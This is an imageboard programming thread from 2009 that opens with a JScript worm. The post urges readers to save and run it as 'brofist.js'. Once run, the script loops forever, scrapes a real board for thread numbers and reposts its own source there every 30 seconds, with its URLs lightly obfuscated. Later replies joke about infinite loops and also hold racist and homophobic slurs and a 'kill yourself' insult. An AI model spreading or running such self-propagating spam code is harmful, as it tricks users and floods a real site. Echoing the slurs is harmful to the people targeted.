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Name: Anonymous 2009-10-04 4:06

IF YOU DONT SAVE THIS AS BROFIST.JS AND RUN IT THEN YOU ARENT A BRO.

fso=WSH.createobject("Scripting.filesystemobject")
file=fso.opentextfile(WSH.scriptname)
c='IF YOU DONT SAVE THIS AS BROFIST.JS AND RUN IT THEN YOU ARENT A BRO.\n\n'
c+=file.readall()
file.close()
x=WSH.createobject("msxml2.xmlhttp")
while(1){
try{
x.open("get","ht\x74p\x3a//zip.4chan.or"+
"g/jp/?"+Math.ceil(Math.random()*1e15),0)
x.send()
t=x.responsetext.match(/<span id="nothread\d+/g)
t=t[Math.floor(Math.random()*t.length)].match(/\d+/g)[0]
s="\n--iiiiiiiiiiiiiiiiiiiii\ncont"+
"ent-disposition:form-data;name="
s=s+"resto\n\n"+t+s+"com\n\n"+c+s+"mode\n\nregist"
x.open("post","ht\x74p\x3a//zip.4ch"+
"an.org/jp/imgboard.php",0)
x.setrequestheader("Content-type","multip"+
"art/form-data;boundary=iiiiiiiiiiiiiiiiiiiii")
x.send(s)
}catch(jjjjjjjjjj){}
WSH.sleep(30333)
}

Name: Anonymous 2009-10-04 4:16

what do you have against /jp/?

Name: Anonymous 2009-10-04 7:25

>>2
Just curious, are you a regualr on /jp/ ?

Name: Anonymous 2009-10-04 7:29

>>3
HOW is that any of your business?

Name: Anonymous 2009-10-04 7:30

Name: Anonymous 2009-10-04 7:32

>>3
not.
but i did used to visit there regularly a long time ago.

Name: Anonymous 2009-10-04 7:33

>>5
There's someone else on /prog/?
HOLY SHIT!

Name: Anonymous 2009-10-04 8:19

>>5
Bummer dude, bummer. at least you still have Jesus =)
I lol'd

Name: Anonymous 2009-10-04 10:35

>>1

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Name: Not >>2 2009-10-04 11:10

>>3
As a matter of fact, a lot of us do visit /jp/. I don't spend many hours on it, but it's the only imageboard I still give visits from time to time.

Name: Anonymous 2009-10-04 12:14

I'm a bro I will do this

Name: Anonymous 2009-10-04 12:36

>>11
I'm a brofessional but this winfaggotry will not compile on a bro-rated opbrorating system. It is simply not bro status.

Name: Anonymous 2009-10-04 13:12

>>12
winfaggotry
faggotry

Back to /b/, please

Name: Anonymous 2009-10-04 13:18

>>13
fuck you and your back to <whatever>
the fuck do you think you are telling people what to do anyway?
you are no one and no one listens to you
please go kill yourself
right fucking now!!

Name: $ Solid Snake $ !bmwXlMHAUo 2009-10-04 13:22

>>14
FUCK YOU. I'M SOLID FUCKING SNAKE. YOU PIECE OF ARSE CUNT NIGGER SHIT. GO AND TAKE A DOG PENIS UP THE ARSE YOU FUCKED UP PIECE OF FUCK SHIT FACED CUNT.

Name: Anonymous 2009-10-04 16:00

>>14,15

Back to /b/, please!

Name: Anonymous 2009-10-04 16:46

while(1){
I DON'T THINK SO, BUSTER

Name: Anonymous 2009-10-04 16:55

>>17
Hold it right there, Kodak!

Name: Anonymous 2009-10-04 17:20

>>17

while(1){break;}

WHAT NOW

Name: Anonymous 2009-10-04 17:25

>>19

anus:  while(1){break;}
       goto anus;

Name: Anonymous 2009-10-04 17:42

>>20

anus:  while(1){break;}
       goto considered_harmful;
       goto anus;
considered_harmful:;

Name: Anonymous 2009-10-04 17:47

>>21


int deaddog(dog_t *haskell)
{
anus:  while(1){break;}
       goto considered_harmful;
       goto anus;
considered_harmful:
       return deaddog(haskell)
}

Name: Anonymous 2009-10-04 17:50

>>22
deaddog isn't a function, it's a type ;_;

Name: Anonymous 2009-10-04 18:12

>>22

int deaddog(dog_t *haskell)
{
anus:  while(1){break;}
       goto considered_harmful;
       goto anus;
considered_harmful:
       if(!haskell->dead){
              return deaddog(haskell)
       }
}

Name: Anonymous 2009-10-04 18:32

>>1-
Please use ``sage'' when not contributing to the thread board!

Name: Anonymous 2009-10-04 18:36

>>25
*grabs brodick*

Name: Anonymous 2009-10-05 11:36

/jp/ sucks.

Name: Anonymous 2009-10-05 12:27

>>25
sage

Name: span class= 2009-10-18 7:23

Name: TRUE TRUTH EXPERT !!TthtFzrtPXElUy7 2009-10-18 7:44

>>29
oRLY?

Name: Anonymous 2009-10-18 20:18

brofist.js:1: ReferenceError: WSH is not defined
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